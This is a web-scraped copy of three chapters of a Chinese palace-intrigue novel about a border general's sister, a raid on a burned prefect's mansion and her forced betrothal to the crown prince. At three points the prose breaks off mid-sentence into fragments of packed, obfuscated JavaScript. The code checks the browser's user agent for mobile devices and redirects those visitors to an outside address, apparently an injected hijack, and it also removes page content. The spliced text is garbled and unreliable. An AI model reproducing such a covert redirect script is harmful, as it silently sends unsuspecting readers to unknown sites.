《离原北》 1. 大胜归来举国庆,月黑风高杀人夜 元和四年冬,镇北侯大破狄奴,斩杀多尔王,夺回燕云十六州,当今圣上大喜,命即刻班师回朝,犒赏三军,举国欢庆,连京中幼童在家家酒游戏中都开始为谁来扮演镇北侯而大打出手。 今年的雪下的格外早,从京中到漠北都覆上了厚厚的一层雪,漠北草原更是白茫茫的一片。 劲风吹的人睁不开眼,日光透过雾气照在浩浩荡荡前往京畿的王师上,铁甲宛若金鳞。 高坐白马上的年轻侯爷,身披轻甲,却在凉风中摇着一把十分不合时宜的羽扇,看的周遭的将军们默默躲远了些,一脸牙疼。 这荒无人烟,鸟不拉屎的鬼地方,也不知道风流给哪个聊斋里的精怪看。 毕竟方圆内美的不可方物的活物就俩,一个需要位这侯爷揽镜自赏,一个就是他自个儿的亲妹妹,而此时既没镜子,也没妹妹。 一身黑色的夜行服,在静谧的庆州城内穿行而过,贴着墙根的蒙面女子犹如一条游鱼,悄无声息的滑进了被大火焚烧后的知州府。 残垣断壁,一阵阴风袭来,宛若冤魂呼号,可惜在战场上长大的郡主还从未有怕过的事。 祁允辞猫着腰,小心地贴在假山的一侧,摒住了呼吸,脚边还滚落着一只幼童玩闹用的小球。 “都杀了?” “是。” 看来同意夜黑风高杀人夜这句话的不止祁允辞一人,做贼都需要竞争。 就着月光和地上薄雪的映衬,祁允辞压低呼吸,看清了对面另一波贼,而地上的污血,也更加分明。她心中对此已有成算,不是陛下就是世家,就看看是谁做了螳螂,便宜了她这只黄雀。 “首领,这是从卧房暗格内取出的书信。” “好,放火。” 祁允辞看着被围在中间的首领手中拿着一个盒子,正命令手下放第二波火,眼波一转,泄露出几声微弱的呼吸,瞬间惊起众人的警觉。 “谁在哪?” 破风而来的利剑直插假山,入石三分,雪白的剑身映照出祁允辞凌厉的眉眼,轻颤的剑尾竟是虎头衔环。 豁,金吾卫,天子近臣。 同一时间双方立动,祁允辞踏雪而走,避开劈身而来的利刃,从假山中退了出来,宛若背后长者眼睛一般,回身挡住身后的刀,金石的碰撞在黑夜中迸发出细微的火花。 金吾卫配合默契,却并没有倾巢而出,更多的人围在首领身侧,护着那个盒子。 “阁下是谁?来此何为?”谢运眼如鹰隼,厉声问道。 “路过。”祁允辞挑了一下眉,在格挡开剑后,反手用匕首穿透了其中一个金吾卫的肩胛,回身一踢,将人踹进了后院的湖里,还悠然自得地擦了擦手上的血迹,素手一指“恰巧撞见几位杀人放火。” 都穿着夜行衣,搞得好像自己不是来杀人的一般。 谢运冷笑一声,“路过?”凌空而起,将盒子抛给手下,“那就彻底留下吧。”一把抽出穿透假山的利剑,迎面而来, 祁允辞退走,身法了得,轻盈灵动,甚至还有闲心细细研究这被烧的残破的内院,匕首与剑撞在一起,又急速退开。 真是杀人灭口的一把好手,祁允辞在内心感慨,偌大的知州府,除却主卧内室与书房,其他地方竟都已付之一炬了,瓮中捉鳖啊。匕首擦过剑身,双方都齐齐退开一步,手腕发麻。 谢运此时已经发现面前女子的难缠,只要被她近身,就很难还手,只能被动挨打。四散在周围的金吾卫只需要一个眼神,便商量好了战术,四人留守,三人上前。 祁允辞急急后撤,直冲一处,在一个明显的破绽中将一个金吾卫挑落在地,破了包围却在刹那间发现了问题。 那还有一个人在哪? 金吾卫十人一组,加上首领,理应是十一人,那还有一个呢? 谢运隐晦的勾了勾唇“你在找什么?” 祁允辞抬头,被箭矢晃了一下眼,正好对上。 箭雨破空而来,祁允辞略睁大了眼,千钧一发之际,她却并不后撤,急速往前,正面迎上谢运,匕首直取命门,避开第一支箭,与此同时,谢运的利刃刺穿了她的胳膊。 手腕下压,暗器已出,谢运只得溃走。 “你受伤了。”谢运好似运筹帷幄,用手肘处的布料擦拭剑刃上的血迹,饶有兴趣。 “大人,您的剑没有毒,金吾卫的箭可就不一定了。”祁允辞随意的甩了甩自己胳膊上的血,只此一句话,就让对面所有人的脸色骤变。 “你到底是谁?” “大人,小女要取的东西已经到手了,就不陪诸位了。”特意改变的声线,故作妩媚诱哄,若非此时杀意尽显,都让人以为是红阁帐暖。 “贼寇休走!追!”谢运怒喝一声,就要拦住祁允辞。 “大人,别送了,小女再给大人送份礼吧。” “啊——鬼——鬼在放火!!”打更人的惊呼声与知州府书房内重新燃起的大火,穿透了黑夜,为此时的场景更添了几分诡谲。 飘然而上的女子穿着白色的麻衣,就像是一只从阴曹地府前来索魂的厉鬼。 金吾卫被甩在了身后,祁允辞三步并作两步翻墙而出,正和阿萤汇合,随后将那倒霉的打更人吓了第二跳,与两只浑身带血的鬼贴了脸,当场两眼一翻晕了过去。 “罪过罪过。”祁允辞一把将人拎起来,硬生生将人掐醒了“先别晕,在这儿晕就被冻死了。” “主子,人追来了。” 阿萤的耳朵动了动,迅速向祁允辞报着方位,知州府早已成了真正的火海,而这两人按照先前踩点的路径,扔下白衣与夜行服,消失在了七拐八拐的小巷中,上了庆州的后山,宛若山岭中的精怪,眨眼间便再难以寻到踪迹。 “侯爷,各位将军,陛下特命我等在此等候,迎诸位回京。”京城三十里开外的官道,祁枭高坐马上,受了鸿胪寺少卿王充的礼。 “还请侯爷下马,与郡主稍事休息。”王充带着笑意,迎上前去,对着祁枭和诸位将军再次一拜,马屁还没说出口,被拍马屁的人就撅了蹄子 “废话别说了,赶紧让人休息休息,赶路累死了,我们郡主都病了,妈了个巴子的。” 老张开口打断了官腔,蒲扇大的手摆着,边关出来的那一口极具特色的口音,直接让这位年轻的鸿胪寺少卿说话卡了壳。 “啊,是,郡主身体最为重要。” 祁枭滚鞍下马,亲自掀开车帘,让自己妹妹下马,两人同样的桃花眼显出恣意,郡主的脸色带着几分苍白,但眉眼如墨,却是一等一的让人惊叹。 “下官见过郡主。” 祁允辞摆了摆手,随着自己哥哥上了驿站。 “不必送了。”祁枭挥退还想跟着伺候的侍从,四周由镇北侯亲卫站岗,上过战场杀过人的刀剑好似还带着扑面而来的血腥气不怒自威,让人望而生畏。 祁枭推开门,更浓重的血腥气让他皱起了眉头,本该空无一人的上厢房内,不知何时多了两名女子,而案几上放的盒子赫然和谢运手里的一模一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596593|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 更令人惊叹的是,其中坐在主位上的女子,与祁枭身侧的“妹妹”长者相同的脸。 “主子。”更星跪下行礼,撕下脸上的人皮面具,露出一张小家碧玉的娃娃脸,小巧精致,却无特色。 “嗯,起来吧。”祁允辞的右胳膊正在被阿萤包扎,用左手挥了挥,让人退下。 “受伤了?”祁枭的视线落在那道贯穿伤上,皱了皱眉 “无碍,你瞧。”祁允辞点了点盒子,从里面拿出二十来封书信往来,“真是让阿爹算对了,那庆州知州可真是狗胆包天,留着黑市往来的账本。” 祁枭翻了翻那些写着闲谈的纸张,蘸着特质的药水,用毛笔将它们细细涂抹,墨渍一点点褪去,露出另外几段话。 “祁枭夺回燕云十六州已是必然趋势,陇右道与京畿重修旧好,万望大人早做打算,陛下疑心病重,庆州已不再是天高皇帝远之地。” “元和二年春,盐铁,庆州,二十万两。” “元和二年冬,盐铁,应有大半流向镇北侯府。” “元和三年,燕王死。” 祁枭看见这句话时,摸索了手指“当真是个人物啊,竟然仅仅从账目上看出镇北侯府参与了盐铁贩卖。” “是不是人物都不重要了。”祁允辞无所谓的笑了笑“此时他们全家都在黄泉桥边团聚了。”话锋一转“阿萤,做的好,主子带你吃烤羊肉。”祁允辞伸着手,拂过阿萤和自己一样微卷的长发,笑的张扬。 “好。”阿萤朗声应道,她长得美艳深邃,有着明显异族的风尚,稍加打扮,就成了那夜勾人性命的鬼魂。 “啧,一个穷乡僻壤的庆州,一年流水都有将近二十万两雪花银,比侯府都多,难怪当今圣上急于取缔黑市,将盐铁收归中央呢。” “那你猜猜,除了侯府,还有多少手握军权的人与黑市牵扯不清?” 祁枭将手边的信纸一张张放进了火炉中,看着它们被火舌烧了个干净。 “我猜,所有。”祁允辞被更星伺候着穿好夹袄,将那个盒子一并扔进火中“真是感谢陛下啊,免了我灭人满门的罪过。” 皇宫内,谢运跪在地上,将盒子中的书信呈给了陛下。 “皇上,恕臣无能,让贼人跑了。” “你是说有两个姑娘对付金吾卫,犹如无人之境?” “回陛下,是。” 大殿内安静的恍若能够听见呼吸声,刹那间,盒子连带着书信,尽数砸在了谢运的脸上“你确实无能,一堆假账也让你快马加鞭送回来了。” 谢运猛地抬头“陛下明鉴,这是从知州府内搜出的,未曾假借他人啊。” 元帝并不说话,于高台之上垂眸,殿内安静的只能听见呼吸声,跟在一旁的大太监适时送上了一杯茶“皇上,消气。” “谢运啊,你怎么不想想,有人可能比你们先到呢?” 谢运不敢再说话,跪伏于地。 “镇北侯击退狄奴,靠的是天时是地利,可没有人和。朝堂之上对于打不打,分歧大得很,出兵这是祁枭和燕王自己定的,靠朝廷给出的那点儿粮草银钱,喂得饱他们祁家的马吗?不靠黑市,怎么办?可你看看,这信中有提到侯府的一句不是吗?” 元帝闭眼,喝了口茶“是朕小瞧祁枭了,没想到燕王死了,他们俩倒是撑起门楣了。” “既然陛下知道是侯爷所为,为何不?” “那你替朕解释解释,金吾卫不在京畿为何在庆州。”茶杯砸在谢运的头上,又碎在了地上。 2. 白玉京中宫廷宴,步步为营杀意显 三步一阁,五步一回廊,白玉青砖铺就的地面,在曲水流觞的温泉氤氲下升腾起薄雾,荼蘼花所开非时,却依旧娇嫩的宛若能够掐出水来,月华白菊、玉壶春、西杨柳,成片成片的盛开着,上面落着一层白莹莹的光,走进了才发现,竟是夜明珠照雪,零星洒下的。中庭主道的左右围栏由琉璃所制,流光溢彩,配上在湖里游荡的锦鲤,好不可爱。长桥卧波,檐牙高琢,进入主殿更是奢华富丽,宛若春风过境,感受不到丝毫冷意。 祁允辞和祁枭一如七年前,成了白玉京大殿内最为瞩目的存在。 “臣、臣女见过陛下,皇后娘娘,陛下万岁万岁万万岁,皇后娘娘千岁千岁千千岁。” “好啊。”陛下拊掌而立“镇北侯大破狄奴,夺回故土,少年英才,立不世之功啊。” “陛下谬赞了,这是臣分内该做的事。”祁枭再拜,谦恭谨慎,演的正是一出君臣相和的戏码。 箜篌声阵阵而来,歌女舞姬献曲,琵琶奏着破阵乐,伴着剑舞,好一派欢腾喜庆的场面,祁枭举杯接受着众位大臣的祝贺,祁允辞得了特许,坐在功臣的前排,不再只局限于家眷一词。 大梁在京中的所有掌权者都集中在这一场宴会中,不论是后起之秀、寒门出生还是世家贵族,身居高位,在没有涉及自身利益的时候都愿意为国家故土的收复而大声叫好。 “侯爷当真是将星下凡啊。” “郡主以女子之身,远去漠北,共守国门,其间大义更值得夸耀。” “是啊,倾宁郡主惠质兰心,世间罕有,京城贵女更是万万不可及的。”皇后娘娘竟是接上了一位大臣所说的话,而坐在下首的夫人们更是顺着这条路大夸特夸,好似她真是仙女下凡。 祁允辞垂下眼,敛去自己微微蹙起的眉头,坦然自若举杯,回敬皇后“娘娘此言,令倾宁惶恐,倾宁不过是同父兄一起留于战场,怎担得起如此夸赞。” 话才说完,坐在一旁的陈家夫人便开口了“哎,郡主这是过于自谦了,臣妇初见郡主就觉得郡主和皇后娘娘简直是一个模子里刻出来的风度,再看看自己的几个孩子,哎。” 祁允辞和祁枭同时心下一惊,这偌大的大殿里,交谈声渐息,全都若有所思地望向这位郡主。 和皇后相似,要么是皇后的女儿要么,就是儿媳了。 “阿辞,坐下。”陛下缓缓开口“你和祁枭如今家中也没个长辈,婚事更是一拖再拖,祁枭这小子不着急,建功立业再成家,阿辞可就要先定下来了,可愿让朕托个大?” 祁允辞本作壁上观,看着祁枭应付众人,根本没想到这把火会这么快烧到她的身上,下意识的不断摸索着食指的指腹,微卷的长发还坠着一颗鲜红的红宝石,她坐在那里,好似被群狼环伺的狐狸。 “陛下,妹妹还小,不着急的,臣还想多留她几年,再说今夜难得齐聚,若是只聊家妹的婚事,倒显得可惜。”祁枭率先开口,打破沉寂,对着陛下遥遥举杯,一饮而尽却被当朝李太尉截住了话头:“侯爷,既是齐聚,也是家宴,臣等和陛下亲如一家,没什么说不得的,再来侯爷胜仗才归,郡主亭亭玉立,陛下和娘娘作为长辈,关心是应该的。” 呵,京南四大世家,谢李崔王,你们要是和陛下亲如一家,那这世上就没有仇家了。祁允辞捏着酒杯,眼底惊涛骇浪,面上却不显,只作小女儿害羞状,含羞带怯,抿着唇。 “哈哈。”陛下于主位上轻笑“早听说你和小辞感情深厚,如今一看,当真如此,皇后你瞧,不过才提起亲事,就着急成这样。” “是臣大惊小怪了。”祁枭没有回头望身边的妹妹,紧紧攥着手,已知此事难以轻易揭过了。 祁允辞感觉到众多的视线落在自己的身上,有皇子也有大臣的后辈,一个拥有镇北侯府和漠北宛月族两大势力的郡主,谁要是娶了,那自是平步青云,一步到位,成为皇上的心腹大患。 三皇子看了看自己的母后,默默将视线移开,剥起了案几上的葡萄,可惜了,这么漂亮个姑娘,普天之下只有两个归宿。 “话说,小辞可有欢喜的对象?”皇后娘娘声音温和,就像是对着自己怜爱的后辈“我见着小辞,是真的心生欢喜啊。” “臣女见到娘娘也是,臣女未曾有过心悦之人。”祁允辞低着头,只有发尾的宝石闪着异样的光,悄悄攥紧了自己的手。 “那你觉得,朕这几个皇子如何?” 祁允辞猛然抬头,坐在侧首的五位皇子们各个都俊美非凡,与皇帝长得分外相似,除了当朝的太子贺遇。 他的长相更肖似先皇后,剑眉星目,气质不似皇上那般宽厚,更多了几分难以言说的神秘之感与温润,拖长的眼尾上挑,盛着一双好似能够看透人心的如墨的眼睛。鼻翼处落着一颗暗红色的痣,为如水墨般的容颜点上了颜色,穿着明黄色的太子常服,矜贵万分,如果他没有残疾,恐怕就是京城贵女趋之若鹜的对象。 而此时有不少政治不敏感的少女还做着怀春的梦,艳羡着这位美貌动人的郡主,稍微敏感的,就知晓大梁太子妃的人选已经定夺,而真正经过大风大浪后仍旧稳坐潮头的天生弄权者,早已猜出陛下的意图,眼中染上了居高临下的同情。 当军权卷入夺嫡之争,可就难以保全了。 祁允辞缓缓吸了一口气,跪在地上“陛下,几位皇子都是人中龙凤,岂是臣女能够随意攀折的,此时臣女并无心于情爱,燕王殿下对臣女有养育之恩,臣女愿为殿下守孝三年以尽绵薄心意。” 贺遇饶有兴趣的喝着酒,就好似殿前的闹剧与他无关,跪在地上明艳的姑娘也不是他未来的准太子妃。 陛下对祁允辞的托词并不做评价,反而问起了自己的这位嫡子“太子,你说,你觉得郡主如何。” “回陛下,儿臣以为郡主身若扶柳,面若桃花,其德昭昭,其智朗朗,如在水之伊人,惠质兰心。”贺遇一拱手,对着陛下说道,看着祁允辞和祁枭投来的隐晦的视线,无所谓的笑道,话音一转,接着说“但燕王殿下于郡主有恩,郡主为其守孝,更是为人子女之职责,其孝心日月可鉴。” “陛下,殿下,郡主,臣有一事不知当讲不当讲。” “右相说吧,家宴。” “是,陛下,当年燕王殿下乃是人中龙凤,做事潇洒恣意,令无数人趋之若鹜,而郡主作为最为疼爱的女儿,想必燕王殿下更希望郡主能够觅得良缘,倘若殿下泉下有知,也必定更为宽心。” 祁枭听完刚准备开口,却被后面的话堵了个正着“更何况,武帝曾将郡主许配给太子,这是天定的良缘。” 去你的良缘,来位不正,何来良缘。 “嗯,右相说的是,也罢,小辞先起来吧,婚事我们过后再议,诸位,喝酒尽兴吧。”陛下举杯敬众人,歌舞声再起。 可奈何今日的接风宴必定是不能安然无恙,顺风顺水的结束了。 肖培安附在陛下耳旁轻声说了些什么,祁允辞借着举杯的间隙不留痕迹的环视着四周,最后将视线落在了当今陛下的身上,狠狠闭了闭眼,残害忠良、杀害血亲、依靠世家,如今却想用自己的婚事来制衡前朝了? 还有世家,将在外,总要有个软肋可以拿捏吧。 她仰头,给自己灌了一口酒,动作潇洒,哪怕带着不明显的愤恨,在头顶夜明珠的照耀下都笼罩着一层有别于京城的风味。 贺遇将视线明目张胆的落在了祁允辞的身上,而祁枭则在这时向他遥遥举杯。 好护犊子的哥哥。 贺遇好脾气的笑笑,温润如玉、知书达理,就是假的很。 “报———”金吾卫中郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596594|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将谢运的到来打破了宴会厅里的和谐,四下安静下来,周遭的歌舞声骤停,“陛下,庆州急报,庆州知州于数日前自焚于知州府。” 知道的也好,不知道的也好,此时都恰到好处的露出了适时的震惊。 “说,到底怎么回事?”陛下坐在上首,听不出情绪的变化。 “回禀陛下,庆州知州府二十二人尽数死亡,由于火势太大,庆州军民只来得及抢救出书房暗格内的书信往来。” “呈上来。” 好假的瞎话啊,祁允辞感慨了一句,把玩着酒杯,歌舞妓女在谢运这个不速之客闯进大殿之后就已经悄然退了出去,只剩下六品以上的官员还在殿中。 “楚柯,你好大的胆子。”陛下从高台之上将信封扔下,四散在周围。 陛下,陛下明鉴啊,陛下,臣,臣与知州只是做过几年同窗,他的死与臣无关啊,陛下。”楚柯趴在地上,声泪俱下,字字泣血。 “那你倒是同朕说说,这书信中哪一件事与你无关?买官?盐铁私营?还是你家中那二十万两雪花银是自己长得腿? 手上的佛珠骤然砸在了案上,本来还在看戏的皇子与大臣纷纷跪下,高呼息怒,皇后跪在一旁,轻声安慰道“陛下,消气。” “明知故犯,收受贿赂,为一己之私,滥用职权,你眼里可还有王法?可还有你身为户部侍郎的职责,监守自盗,该杀。” 祁允辞和祁枭跪在地上,没人比他们更知道那些书信上写着什么,此时听着陛下的栽赃,正细细思索着此人到底是谁的势力。 奈何这人车轱辘打滚,大喊饶命。 就在这时,一道矜贵的声音传来“陛下,今日是镇北侯的洗尘宴,哪能让功臣们一直跪着,为了这不忠不义,不仁不孝之徒,没必要在大喜的日子里坏了心情。” “哦,那怀瑾觉得该如何?”陛下于高台问太子,祁允辞细微的的偏过头,用余光瞥向那个双腿不便,被侍从伺候着跪在地上的太子,就听见他的声音传来“于京城贪墨,黑市走私,鱼肉百姓,欺君枉法。”贺遇直起身,一字一顿地说道“按律当斩。” 楚柯跪在地上,金吾卫如同提着一坨烂肉一般将他架起,当场去了官帽,他冷汗兢兢,两股战战,连辩驳的话都说不出来。 “嗯,就这么办吧。”陛下抬手扶起了跪在地上的皇后“太子去刑部,这件事交由你办,办漂亮了,谢运,抄家,年后问斩,给朕在此期间把事情查清楚。” “臣遵旨。” “儿臣遵旨。”皇上看着自己跪在地上的大儿子,被侍从伺候着扶起坐在轮椅上之后才让诸位爱卿起身。 “行了,朕乏了,诸位尽兴吧。” “起驾————” “主子。”阿萤一直跟在身后,自祁允辞落座,刚准备说话,就被祁允辞握住了手,拿了一枚贡桔放在了阿萤手上“阿萤,替本郡主剥个橘子。” 从陛下发了那场脾气后,宴会厅中的气氛就已经显得格外沉重了,皇后娘娘略坐了会儿后,也找了个借口起身离开,诸位大臣更是食不知味,但稳坐三公位置的人却依旧怡然自得,就好像这场闹剧是他们和陛下商量好的,他们都是陛下的心腹。 “镇北侯,在下敬你。”李太尉率先举杯,对着祁枭先饮而尽,好似并不被刚才的事情所影响。 贺遇轻笑一声,“诸位都是大梁肱骨,今日难得齐聚,也不见喜色,这可不行,楚柯行差踏错,被当场除了乌纱帽,不过是警示诸位以后必要三思而后行,切勿因小失大,掉了脑袋,三皇弟说是不是啊。” “太子皇兄教训的是,臣弟受教了。” “臣等受教。” 祁允辞没有再动宴会上的任何东西,随着诸位皇子的先后离开,这场吃的有些噎人的接风宴总算到了尾声。 3. 郡主高嫁东宫主,各家算计正当时 祁允辞回了定北侯府已是半月有余,而自肖公公带着圣旨,陛下亲自为她与太子指婚后,这位家世显赫的郡主,在京城中的地位更是愈发特殊起来。 那日郡主独自进了宫,求了一个宛月族二王子进京述职的恩典,便将自己许给了皇家,平静地接受了自己太子妃的身份,既没让侯府为难,也没让天家施压。 今年的冬日格外的冷,雪簌簌地下着,难得有几个晴天,祁允辞更是宛若回到了年幼时期,没有侍女地三催四请,是不会从暖阁内起身的。而陛下也给足了这位准太子妃的面子,侯府上下,除却原本的老人,所有的使女,佣人统统都出自内廷,那是宫中伺候娘娘的规制。 “还不起?”祁枭在院内练枪,星罗棋布铺就而成的小溪流水被惊起了浪花,一袭白衣踏雪有痕,惊散了陛下差人送来的千尾锦鲤。树上落的薄雪还未化去,内院中早已燃起了银丝碳,生怕将这些贡品给养死了。 “再躺会儿。”祁允辞披着一件浅粉色的大氅,上面围了一圈火狐的毛,正是在离原狩猎时所得,而大量的兽皮除却敬献给陛下的以外,几乎全在她这里。 祁允辞让华岁替她开了窗,屋外的凉气吹散了燥热,正对上在银装素裹中练枪的兄长,随手扔出一个脆枣,正好被长枪挑落,掉入水中,身若游龙带起的劲风,吹起额角的发丝,枪尖稳稳正中祁允辞的眉心,可她甚至都没有闪避。 “哎,金丝软枕,锦绣丛中,寒梅正盛,小阁看景,当真是人生一大幸事,感觉骨头都躺酥了。”祁允辞吃着一碗京城中常见的面皮,那是清早让人从南门买回来的,据说那家最好吃,她也不讲究朝起十六碟,夕时三十二碗的大梁贵族风俗。 “要我替你松松骨吗?”长枪一收,覆手而立,居高临下的望着祁允辞,祁枭的表情属实算不上好看。 “别了,好哥哥,饶了我吧,朝堂上怎么说?可不许拿我撒气。”祁允辞用手帕包了一块薄饼递给祁枭。 “还能怎么说,钦天监监正亲自测算的吉时,一个月后的今日是个好期。” “那你气什么?可以了,还能再留一个月。今年的雪落的太早了,仲冬便下了,陇右道那边需要朝廷拿银子赈灾,宛月族更是需要吃饭,牛羊死了,人不能再死了。”祁允辞伸着手,去接屋檐上的落雪,无所谓地笑着。 “更星,我让你取得话本可拿来了?” “主子,带过来了,特地是从城南那间书店取来的,主子快看看,写的可有意思了。” “大、胆,谁准你背着本郡主偷偷看的。” “主子,主子饶命。” 祁枭茶色的眼眸落在自己妹妹身上,默许了她所做的事,甚至动用了别的关系,为流言的甚嚣尘上推波助澜。 “殿下,不知为何京中都在盛传您早已心有所属,甚至,甚至有话本问世,可需要想办法制止?这恐您和郡主有生嫌隙啊,还有镇北侯府怕是会有意见。” “制止?制止干什么?添把火,要烧就烧得更旺些吧,就怕他们侯府不和孤生嫌隙。”坐在轮椅上的太子半隐在阴影中,放在小炉上的茶水逐渐沸腾,升起烟雾,看不分明面容,寒炉对雪烹,自有茶香阵阵,白衣侍女在一旁替他斟茶。 “对了,把话本拿来,让孤瞧瞧。” 凌霄上前一步,恭敬呈上“殿下,实在是污了您的眼。” “这算什么?”贺遇随手翻了几页,一撩衣袖,将放在手边的圣贤书扫落一旁“替孤取纸笔来,孤亲自写。” “殿下!” “你去给孤查,到底是谁将当年孤摔落悬崖时的事知道的这么清楚,倒是帮了孤大忙了。” “那找到后如何?” 茶杯磕在案几上,发出清脆的响声,在静谧的暖阁内显得尤为突兀,贺遇瞥了一眼身边的人,淡淡开口: “赏一具全尸。” 凌霄领命立走,复又想起什么,在一旁小声问道“殿下,书中之事不是您当年为推拒殿阁大学士之女所有意透露的吗?” 贺遇并不搭话,摆了摆手,让人退下,边看话本还随口感慨道“罗衣湿,红袂有啼痕,写这么文雅做什么,百姓哪里看的分明啊。” 贺遇寥寥落笔,苍劲有力,写下的却甚是香艳,他苍白的面容挂着玩味的笑意,流传在宫廷内的太子落难,民女所救的故事,怎么会让贫民百姓知晓的连细节都不差分毫? “陛下,这话本虽未指名道姓,但明里暗里,都是说太子心有所属,恐怕镇北军中会有所不满。”肖培安在一旁替陛下研磨,一边汇报着金吾卫传来的消息。 “朕这位太子啊,太会审时度势,若非他双腿尽废,扶他坐皇位也未尝不可啊。”御书房内,元帝批改着奏折,而一旁还放着金吾卫呈上来的话本。 肖培安降低了自己的存在,并不敢妄议立储大事。 “你去东宫,替朕传道旨意,让太子静心修身,也是要做丈夫的人了,怎么还这般没个定性,喜欢什么样的,让他自己去和太子妃商量去。” “小阿允这就要出嫁了。”阿诗勒津一边躲着祁枭的长枪,一边闲聊,一时疏忽大意,被祁枭的长枪挑进了水里。 “大胆,你就这样对你表兄,你们大梁不是最讲究长幼秩序吗?你俩能对我这个做哥哥的有点儿尊重吗?”阿诗勒津从水里爬出来,一把拽过外衫披在身上,内院里到处都是炭火,将本就火气旺盛,还一来就用弯刀和祁枭打起来的宛月族二王子热了一身汗,他顺手抢走祁允辞手中的蜜饯,丝毫不讲究的席地而坐,那一头卷发湿漉漉的黏在大敞的胸膛上,屈膝右手枕在上面,大声控诉着对面那对兄妹的劣迹斑斑。 “我们大梁?你是大梁人吗?要我尊重你?”祁枭偏头警告地望了他一眼,宛月族作为大梁属臣,阿诗勒津时隔四年后再度进京述职,顺便送自己表妹出嫁,开口就不是个注意言辞的货。 阿诗勒津瞬间就知道自己犯了错,隐晦地用宛月族俗语骂了一句,“祁枭,你这话说的,宛月族同大梁世代交好,更是诚心敬重大梁,何时本王就不能用大梁的礼法教训你了?” 他话刚说完,就有宫中的教习宫女指挥着侍从搬来椅子“奴婢问二王子殿下安好,殿下怎么坐在地上,这浑身都湿透了,奴婢先带您去梳洗。” 祁允辞轻笑一声,将面前的蜜饯又拿了一颗,径直朝阿诗勒津丢去,他也不动,张嘴,正好接住。 那教习宫女看的两眼发黑,这无法无天的郡主竟要成为太子妃?她刚准备开口,就看见祁允辞上扬的桃花眼落在了自己身上,含着点儿不怀好意的笑,正等着她开口。 “郡主,侯爷,奴婢先领着王子殿下去休息。” “去吧。”祁允辞轻巧的说道,“表兄,记得一起来尝尝这和聘礼一起送来的蜜枣。” “满意了?”祁枭眉眼之间都蕴含着笑意,一瞬间冲散了他这一年来,自燕王殿下病逝后就一直苦苦支撑的肃穆。 “还不错。”祁允辞的手指把玩着自己发尾的那颗红宝石,她的手并不如葱玉,只能说是骨节分明,捏着那颗珠子细细摸索过每一处“教习我,也不看看自己是什么东西?” 祁枭尝了一颗蜜枣,没有出声附和,但也沉默的表达了认同。 自年幼时便养于宫中,吃穿用度位比先皇皇子,礼仪教养更是挑不出错,只是看,他们想不想给人面子,毕竟连启蒙老师都是当世大儒,刚能拿剑,就由他们的父亲,曾经的镇北侯,四境主帅祁御亲自教学,一个小小宫女,也敢拿乔? “这枣子不好吃,别吃了。”阿诗勒津好歹是换了一身不有伤风化的衣服,四周偷摸看着他麦色肌肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596595|155987||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸红的侍女也少了不少,就算是宫中出来的,也没见过这么袒胸露乳的男人。 “小表妹啊。” 阿诗勒津本就是个没心没肺的主,可此时暖阁内只剩下他们几人的时候,却有一瞬悲从中来,半跪在祁允辞的身侧,拥有相同卷发的两人靠在一起,“妹子啊,是哥哥们没用。” “阿诗勒津,你是脑子和水一起擦干净了吗?”祁允辞笑着往旁边躲了躲,却并没有挣开被扣着的手腕。 “别这样,我是太子妃,别人求都求不来的,而且我还是很受天家重视的,三天前下聘礼的时候你不就看出来了吗。” 那日第一声礼炮震响了镇北侯府的门楣,四下的百姓夹道相迎,看着五十五抬聘礼由双雁开道,浩浩汤汤,乐声四起,特有的方糖与银元宝,从太子府一直洒到了镇北侯府,红色的帷帐漫漫,禁军、羽林卫镇守一侧。 祁枭与阿诗勒津坐在正厅的两旁,静静听着影卫的汇报,脸色属实难看,过了好一会儿,阿诗勒津实在是忍不了了,攥起坐在一旁啃肉干的表妹,一连串的宛月语劈头盖脸的砸了过去,最后也只是一句“妹妹,我。” “好了,二表兄,唱礼的马上就到了,别甩脸色,要是实在舍不得我,就替我多备些肉干,这个好吃。” “这当然好吃,这是你大表嫂知道你要嫁人了,又是一个人,特地给你做的。” “替我谢谢表嫂。” “你,我不和你说这些,那太子甚至不亲自给你下聘,他不知道坐马车来吗?” “阿诗勒津。”祁枭打断了他的话“尽说些胡话,哪里有男方坐马车来的道理,走吧,去看看礼单有什么。” 一阵又一阵的礼炮声炸响,红连着红,连侯府内的那棵歪脖子桃花树的枯枝上都缠着红绸缎。 “见过侯爷,二王子。” “肖公公。”祁枭让华岁拿了银两和金瓜子递了过去。 “侯爷,太子殿下不幸染了风寒,难以来给郡主下聘,万望见谅,所以陛下让杂家走了这一趟。” “谢过陛下,太子殿下金贵难言,自当以身体为重。” “起——唱聘礼” 